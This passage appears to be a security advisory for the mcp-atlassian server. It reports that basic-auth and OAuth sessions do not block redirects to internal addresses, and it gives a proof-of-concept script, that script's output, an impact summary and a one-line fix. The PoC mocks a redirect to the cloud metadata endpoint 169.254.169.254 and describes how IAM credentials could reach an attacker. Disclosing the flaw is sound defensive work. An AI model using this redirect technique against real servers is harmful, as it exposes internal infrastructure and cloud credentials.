AWS IAM credentials (or other internal service data) are returned to the attacker
PoC
Tested on commit d8bc786 (v0.21.1). No real credentials needed.
from unittest.mock import MagicMock
import requests
from mcp_atlassian.servers.dependencies import _make_ssrf_safe_hook
from mcp_atlassian.utils.urls import validate_url_for_ssrf
from mcp_atlassian.jira import JiraFetcher
from mcp_atlassian.jira.config import JiraConfig
config = JiraConfig(
url="https://attacker.atlassian.net",
auth_type="basic",
username="victim@example.com",
api_token="victim-token",
)
fetcher = JiraFetcher(config=config)
session = fetcher.jira._session
hooks = session.hooks.get("response", [])
print("hooks on basic-auth session:", [h.__name__ for h in hooks] or "none")
fake_redirect = MagicMock(spec=requests.Response)
fake_redirect.is_redirect = True
fake_redirect.headers = {"Location": "http://169.254.169.254/latest/meta-data/"}
blocked = False
for h in hooks:
try:
h(fake_redirect)
except ValueError as e:
blocked = True
print("blocked:", e)
if not blocked:
print("redirect to 169.254.169.254 not blocked on basic-auth session")
# show header-PAT branch does block it
hook = _make_ssrf_safe_hook(validate_url_for_ssrf)
try:
hook(fake_redirect)
except ValueError as e:
print("header-PAT branch blocks:", e)
Output:
$ uv run python3 /tmp/test.py
hooks on basic-auth session: none
redirect to 169.254.169.254 not blocked on basic-auth session
header-PAT branch blocks: Redirect blocked (SSRF): Blocked IP address: 169.254.169.254 (non-global)
Impact
Basic auth and OAuth cover most production Atlassian Cloud deployments, so this affects the majority of HTTP-mode multi-user setups. An attacker with control over the Atlassian server can redirect MCP server requests to internal infrastructure — cloud metadata endpoints, internal Kubernetes API, databases, or any service reachable from the MCP server's network.
The fix is one line per affected branch: pass attach_ssrf_hook=True to _create_and_validate() in branches 2 and 3, the same way branch 1 already does.